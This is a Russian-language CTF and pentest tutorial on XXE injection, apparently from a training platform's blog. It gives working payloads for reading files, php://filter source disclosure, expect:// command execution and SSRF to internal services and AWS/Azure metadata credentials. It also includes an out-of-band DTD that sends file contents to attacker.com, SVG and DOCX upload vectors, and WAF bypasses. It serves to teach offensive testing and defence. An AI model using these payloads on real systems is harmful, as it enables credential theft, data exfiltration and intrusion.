
Web-таск на CTF: форма загрузки SVG-аватара, из эндпоинтов — только upload и профиль пользователя. Половина участников ковыряет XSS в SVG-рендеринге, пробует SSTI, мучает CSP — а первый solve приходит через XXE инъекцию в SVG-парсер с цепочкой до SSRF на внутренний API. Флаг лежал в ответе сервиса, доступного только с localhost. Схема встречается в CTF регулярно, но новички раз за разом её пропускают — загрузка картинки и XML-парсер в голове не связываются. А зря. XXE инъекция — уязвимость, где понимание механики парсера важнее знания конкретного фреймворка.
Зачем это атакующему за пределами CTF: через XXE читают конфигурационные файлы с паролями от БД — Credentials In Files (T1552.001, Credential Access). Сканируют внутреннюю сеть через SSRF, добираются до облачных метаданных AWS/GCP — Cloud Instance Metadata API (T1552.005). В итоге получают initial access к инфраструктуре через Exploit Public-Facing Application (T1190, Initial Access). Путь от «прочитал /etc/passwd» до «получил ключи от облака» — один пейлоад.
XXE классифицируется как CWE-611 — Improper Restriction of XML External Entity Reference. Суть простая: XML-парсер получает документ с конструкцией <!DOCTYPE>, внутри которой объявлена <!ENTITY ... SYSTEM "...">. По спецификации XML парсер обязан резолвить сущность — загрузить содержимое по указанному URI и подставить в документ. Обязан. Не «может», не «при определённых условиях» — обязан. Подробнее — в нашем обзоре пентест веб-приложений.
Ключевое слово SYSTEM указывает источник данных. Поддерживаемые URI-схемы: file:/// для локальных файлов, http:// и https:// для HTTP-запросов, ftp:// для FTP-соединений. В PHP-окружениях дополнительно работают stream-врапперы: php://filter, expect://, data://. Парсер берёт данные по URI, подставляет вместо вызова &entity_name; и возвращает результат приложению. Если приложение включает этот результат в HTTP-ответ — содержимое файла утекает атакующему.
По классификации OWASP Top 10 (редакция 2021) XXE уязвимость относится к A03:2021 (Injection) и A05:2021 (Security Misconfiguration). Когда внешняя сущность указывает на внутренний URL, XXE порождает SSRF (A10:2021). По неподтверждённым данным о готовящейся редакции OWASP Top 10 2025 (официально не опубликована на момент написания), CWE-611 может быть перенесён в категорию Security Misconfiguration, а SSRF (CWE-918) — в Broken Access Control. Последствия по CWE-611: нарушение конфиденциальности (чтение данных приложения), обход механизмов защиты, отказ в обслуживании через потребление ресурсов CPU. Атака Billion Laughs — характерный пример DoS: рекурсивно определённые сущности заставляют парсер раскрывать экспоненциально растущий XML, пожирая всю доступную память. Красиво и безжалостно.
Самый частый CTF-сценарий: приложение принимает XML через POST-запрос (форма, API-эндпоинт), парсит его и отдаёт часть данных обратно. Задача — внедрить DOCTYPE с внешней сущностью и подставить ссылку на неё в тег, значение которого отражается в HTTP-ответе.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><name>&xxe;</name></user>
Построчно: XML-пролог задаёт версию и кодировку. <!DOCTYPE data [...]> открывает блок определения типа документа с произвольным корневым именем data. Внутри <!ENTITY xxe SYSTEM "file:///etc/passwd"> объявляет внешнюю сущность xxe, которая при резолве загрузит содержимое файла /etc/passwd через URI-схему file:///. В теге <name> подставляется &xxe; — парсер заменяет эту ссылку содержимым файла. Если значение <name> попадает в HTTP-ответ, вы видите список пользователей системы: root:x:0:0:root:/root:/bin/bash....
Три ошибки, на которых новички стабильно теряют время:
Забыли DOCTYPE. Без <!DOCTYPE ...> объявить <!ENTITY> невозможно — парсер вернёт ошибку синтаксиса. Некоторые пытаются вставить <!ENTITY> прямо в тело XML без DOCTYPE-обёртки. Невалидный XML, парсер его отбросит. Проверяется за секунду, а времени на CTF жрёт — минут десять отладки.
Относительный путь вместо абсолютного. Конструкция SYSTEM "etc/passwd" без ведущего / читает файл относительно текущей директории парсера. На CTF результат непредсказуем — рабочая директория зависит от деплоя. Всегда file:/// с абсолютным путём от корня файловой системы.
Подстановка не в тот тег. Сущность &xxe; должна стоять в элементе, значение которого приложение отдаёт в ответе. Если приложение возвращает только status, а вы подставили в name — файл прочитается на стороне сервера, но в ответе не появится. Тупо не туда ткнули. В Burp Repeater отправляйте запрос с &xxe; в каждом XML-поле по очереди и смотрите, где содержимое файла всплывает. Фаззинг тегов через Intruder со словарём тоже рабочий вариант, но для CTF обычно хватает ручного перебора 3-5 полей.
На CTF-серверах с PHP бэкендом прямое чтение .php-файлов через file:/// часто не работает: парсер подавится PHP-тегами <?php, угловыми скобками и спецсимволами в коде. XML-парсер интерпретирует <?php как processing instruction и ломает структуру документа. Знакомая боль.
Решение — PHP-враппер php://filter с конвертацией в Base64. В объявлении сущности вместо file:///var/www/html/index.php указываете php://filter/read=convert.base64-encode/resource=index.php. Парсер вернёт Base64-строку, которую декодируете echo "..." | base64 -d. Эта техника — стандарт для CTF-тасков на PHP, где флаг зашит в исходниках или в config.php с кредами от базы данных.
Враппер expect:// позволяет выполнить системную команду — SYSTEM "expect://id" — но требует установленного модуля expect, который в продакшене редкость. На CTF проверяйте его в последнюю очередь, когда стандартный file:/// и php://filter не дали результата.
Когда XXE инъекция позволяет указать URI с HTTP-схемой, сервер выполняет HTTP-запрос от своего имени — это Server-Side Request Forgery. Достаточно в сущности заменить file:///etc/passwd на http://internal-service:8080/api/secret. Сервер обратится к внутреннему эндпоинту, и если ответ попадает в XML-вывод — содержимое утекает атакующему. Одна замена в URI — и вектор атаки принципиально другой.
В CTF SSRF через XXE используется для обращения к сервисам на localhost, которые недоступны извне: SYSTEM "http://127.0.0.1:8080/flag" или SYSTEM "http://localhost:3000/admin". Характерный CTF-паттерн: в таске с SVG-загрузкой XXE позволяет обращаться к внутреннему API (например, /toggle), переключая функции, доступные только привилегированным пользователям — через SSRF активируется закрытая фича, которая и содержит флаг.
Реальный пример связки: CVE-2019-12153 (CWE-918) и CVE-2019-12154 (CWE-611) в RealObjects PDFreactor до версии 10.1.10722. Первая — SSRF через HTML-парсер, вторая — XXE в XML-парсере. Две уязвимости в одном продукте, обе ведут к компрометации серверных ресурсов.
В баг-баунти и CTF с облачной инфраструктурой через XXE обращаются к сервису метаданных AWS: SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/". Это техника Cloud Instance Metadata API (T1552.005 по MITRE ATT&CK) — позволяет вытянуть временные ключи доступа IAM-роли прямо из XML-ответа. По данным YesWeHack, именно эксфильтрация облачных метаданных превращает XXE уязвимость из «прочитал файл» в «получил полный доступ к облачному аккаунту». В баг-баунти — это разница между P3 и P1.
Для Azure эндпоинт метаданных — http://169.254.169.254/metadata/identity/oauth2/token, для GCP — http://metadata.google.internal/computeMetadata/v1/. Но GCP требует заголовок Metadata-Flavor: Google, который через XXE-сущность не передать. Ограничение метода, и обойти его в рамках чистого XXE нельзя.
В CTF-тасках среднего и высокого уровня приложение парсит XML, но не возвращает значения сущностей в ответе. Подставляете &xxe; в тег — а в ответе видите только {"status": "ok"} или пустое тело. Данные читаются парсером, но не отражаются. Это blind XXE — и тут начинается самое интересное.
Для Out-of-Band эксфильтрации используются параметрические сущности (parameter entities) — объявляются с символом % и работают только внутри DTD. Схема: на контролируемом сервере размещаете DTD-файл, а в XML указываете ссылку на него.
Нюанс: даже если парсер разрешает локальные внешние сущности (file://), отдельный флаг может блокировать сетевую загрузку DTD (например, XML_PARSE_NONET в libxml2) — тогда OOB не сработает, хотя чтение файлов через SYSTEM "file:///" будет работать. Файл evil.dtd на http://attacker.com/evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://attacker.com/?d=%file;'>">
%eval;
%exfil;
XML, который отправляется в приложение: <!DOCTYPE foo [<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd;]><data>test</data>.
Что происходит пошагово: парсер встречает %dtd;, загружает внешний DTD, определяет %file (содержимое /etc/hostname), через %eval создаёт вложенную сущность %exfil с подставленным содержимым файла в URL. При резолве %exfil парсер отправляет HTTP-запрос на attacker.com/?d=webserver01 — и на стороне атакующего в логах python3 -m http.server 80 появляется запрос с данными в query-строке. Магия? Нет, просто спецификация XML работает как задумано.
Для CTF вместо своего сервера удобнее Burp Collaborator — генерируете payload-URL, подставляете в DTD и на вкладке Collaborator видите входящие DNS/HTTP-запросы. Альтернатива — interactsh от ProjectDiscovery.
Ограничение: если файл содержит переносы строк или спецсимволы (как /etc/passwd), URL с ними будет невалидным и запрос не уйдёт. Обходы: FTP-эксфильтрация (FTP-протокол терпимее к спецсимволам) или error-based XXE.
Альтернатива OOB, которая работает, когда сервер не может делать исходящие HTTP-соединения (firewall), но возвращает сообщения об ошибках парсера. Идея: создать параметрическую сущность с невалидным URI, в который подставлено содержимое файла. Парсер попытается резолвить URI, не сможет и выбросит исключение вида "I/O error: file not found: contents_of_secret_file". Ошибка — и есть канал эксфильтрации.
По данным OWASP WSTG, error-based XXE работает через переопределение сущностей из локальных системных DTD. На desktop-дистрибутивах Linux с GUI-пакетами встречаются DTD-файлы: /usr/share/yelp/dtd/docbookx.dtd (часть GNOME help), /usr/share/xml/fontconfig/fonts.dtd (часть fontconfig). В минимальных серверных и контейнерных окружениях (Alpine, distroless), типичных для CTF, эти файлы часто отсутствуют — проверяйте их наличие через LFI перед использованием техники.
Техника надёжнее OOB в изолированных средах, но чувствительна к конфигурации: не все парсеры возвращают полный текст ошибки приложению, некоторые логируют его только серверно. На CTF проверяйте error-based, если OOB не даёт callback — иногда это единственный рабочий канал.
SVG — формат векторной графики на основе XML. Если приложение принимает SVG и обрабатывает его парсером (рендеринг, валидация, конвертация в PNG), в SVG можно внедрить XXE инъекцию. В CTF это один из самых популярных векторов: разработчики проверяют расширение и MIME-тип файла, но до конфигурации парсера руки не дошли.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="300" height="100">
<text font-size="16" x="10" y="40">&xxe;</text>
</svg>
Содержимое файла подставляется в текстовый элемент SVG. Если приложение рендерит SVG в растр — текст появится на картинке. Если возвращает SVG как есть — содержимое файла будет в XML-ответе. Если не рендерит и не возвращает видимый результат — комбинируйте с OOB-техникой из предыдущего раздела.
Аналогичный вектор работает через DOCX, XLSX и PPTX: по данным PortSwigger, эти форматы — ZIP-архивы с XML-файлами внутри. Распаковываете .docx через unzip, редактируете [Content_Types].xml или word/document.xml, добавляете XXE-пейлоад и запаковываете обратно через zip. При парсинге документа на сервере сущность резолвится. Существуют публичные скрипты для автоматизации инъекции XXE в OOXML-форматы — удобно для массового тестирования file-upload эндпоинтов.
Реальные CVE подтверждают вектор: CVE-2019-0340 (CWE-611) в SAP Enable Now до версии 1902 — XML-парсер не был защищён, XXE эксплуатировалась через загрузку файлов на нескольких эндпоинтах. CVE-2018-1000838 (CWE-611) в Autopsy <= 4.9.0 — XXE в парсере CaseMetadata. По данным OSV.dev, CVSS-вектор: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H — атака по сети, без аутентификации, без взаимодействия пользователя, все метрики импакта на максимуме (точный числовой score — проверяйте актуальный NVD listing). Особенно показательно: Autopsy — инструмент для форензики, а не веб-приложение. Согласно NVD, CVE-2018-1000838 может приводить не только к раскрытию данных и DoS, но и к SSRF и port scanning. XXE живёт не только в API — она живёт везде, где есть XML-парсер.
UTF-16 кодировка. Если WAF или серверный фильтр блокирует строки <!DOCTYPE, <!ENTITY, SYSTEM — смените кодировку на UTF-16. В XML-прологе указываете encoding="UTF-16" (до конвертации, пока файл ещё в UTF-8), затем конвертируете: iconv -f UTF-8 -t UTF-16 payload.xml > payload_utf16.xml. Пролог с encoding="UTF-16" должен быть задан в исходном файле до вызова iconv, иначе парсер получит конфликт между фактической кодировкой и заявленной в прологе. WAF, анализирующие raw-байты в ASCII, пропускают UTF-16 представление тех же символов. Техника работает против WAF, которые не декодируют тело запроса перед проверкой — а таких хватает.
Подмена Content-Type. По данным YesWeHack, фреймворки Spring Boot и Express автоматически переключаются на XML-парсер при смене заголовка Content-Type: application/json на Content-Type: application/xml. API, задуманный как JSON-only, начинает парсить XML — и если парсер не сконфигурирован безопасно, вы получаете XXE на эндпоинте, который разработчики не считали XML-совместимым. В Burp Repeater: меняете Content-Type, переписываете тело из JSON в XML с DOCTYPE и сущностью. Занимает минуту, а результат бывает неожиданный.
XInclude. Когда вы контролируете только одно поле, которое вставляется в XML на сервере (SOAP-запрос, бэкенд-шаблон), DOCTYPE с ENTITY объявить нельзя. Тут работает XInclude — часть спецификации XML для включения внешних документов. Пейлоад: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. Атрибут parse="text" критически важен — без него парсер попытается интерпретировать /etc/passwd как XML и упадёт. По данным OWASP WSTG, XInclude — ключевой вектор при тестировании SOAP-сервисов.
CDATA-обёртка. Некоторые фильтры блокируют угловые скобки и амперсанды в значениях XML. CDATA-секции (<![CDATA[...]]>) позволяют экранировать спецсимволы внутри пейлоада. Полезно и при эксфильтрации файлов, содержащих XML-спецсимволы.
PUBLIC вместо SYSTEM. Часть WAF проверяет только ключевое слово SYSTEM в DTD. Замена на PUBLIC с фиктивным публичным идентификатором: <!ENTITY xxe PUBLIC "-//W3C//DTD XHTML 1.0//EN" "file:///etc/passwd"> — обходит такие фильтры. Примитивно, но работает.
XXE инъекция работает не всегда. Конкретные условия, без которых техника не сработает:
Парсер должен разрешать внешние сущности. По данным OWASP WSTG, в современных версиях большинства библиотек внешние сущности отключены по умолчанию. Но дьявол в деталях:
DocumentBuilderFactory по умолчанию НЕ отключает внешние сущности — стандартная JAXP-конфигурация уязвима к XXE. Разработчик обязан явно вызвать setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true) и setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). Отсутствие этой настройки — типичная причина XXE в Java-приложениях, и встречается куда чаще, чем хотелось бы.xml.etree.ElementTree не поддерживает DTD и не уязвим. Библиотека lxml по умолчанию не резолвит внешние сущности, но при явном resolve_entities=True с no_network=False становится уязвимой.libxml с версии 2.9.0 (2012 год) отключает загрузку внешних сущностей по умолчанию. Уязвимость возникает при libxml_disable_entity_loader(false) или на устаревших версиях.xml2js и встроенный DOMParser по умолчанию безопасны. Уязвимые конфигурации — результат явного включения опасных фич.Деградация в зависимости от среды:
| Ограничение | Что не работает | Что остаётся |
|---|---|---|
| Firewall блокирует исходящие | OOB-эксфильтрация | Error-based, прямой вывод |
| Парсер обрезает вывод по длине | Многострочные файлы | Короткие файлы, hostname |
| XML-схема валидации | DOCTYPE отбрасывается | XInclude (если поддержан) |
| Нет XML-парсера | Все XXE-техники | Никакие |
Когда XXE точно не работает: приложение не использует XML вообще (JSON/protobuf/GraphQL без XML-слоя), парсер сконфигурирован с полностью отключёнными сущностями и DTD-обработкой, входной XML проходит через строгую XML-схему, которая отбрасывает DOCTYPE.
Если на CTF стандартный пейлоад не срабатывает — отправьте OOB-проверку: сущность SYSTEM "http://uniqueid.burpcollaborator.net". DNS-запрос пришёл — парсер резолвит внешние сущности, но приложение блокирует вывод. DNS-запроса нет — парсер либо безопасно сконфигурирован, либо вы отправляете XML не туда, где его парсят. Попробуйте другие эндпоинты и форматы (SVG-загрузка, SOAP, Content-Type switching) прежде чем списывать таск.
По данным IBM X-Force, среднее время между публикацией CVE и устранением в организациях — 29 месяцев. CVE-2019 уровня описанных выше всё ещё живут в продакшене. На CTF-платформах тасков на XXE меньше не становится — не потому что парсеры по умолчанию опасны, а потому что legacy-код, устаревшие зависимости и явное включение опасных фич разработчиками создают attack surface даже в 2025 году.
Большинство нерешённых XXE-тасков на CTF проваливаются не на этапе эксплуатации, а на этапе обнаружения. Участники не видят XML-парсер за SVG-загрузкой, не пробуют Content-Type switching на JSON-эндпоинтах, не проверяют SOAP-ручки. Навык распознать XML-парсер за каждым форматом, где он может скрываться — DOCX, SVG, SOAP, RSS, XLSX — отделяет тех, кто закрывает web-категорию, от тех, кто её пропускает. Мой подход: на любом CTF-таске с file upload первым делом загружаю SVG с OOB-пейлоадом на Collaborator. Стоит 30 секунд, а callback приходит чаще, чем можно ожидать. На WAPT эту цепочку проходят в течение двух модулей с лабами на каждый вектор.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...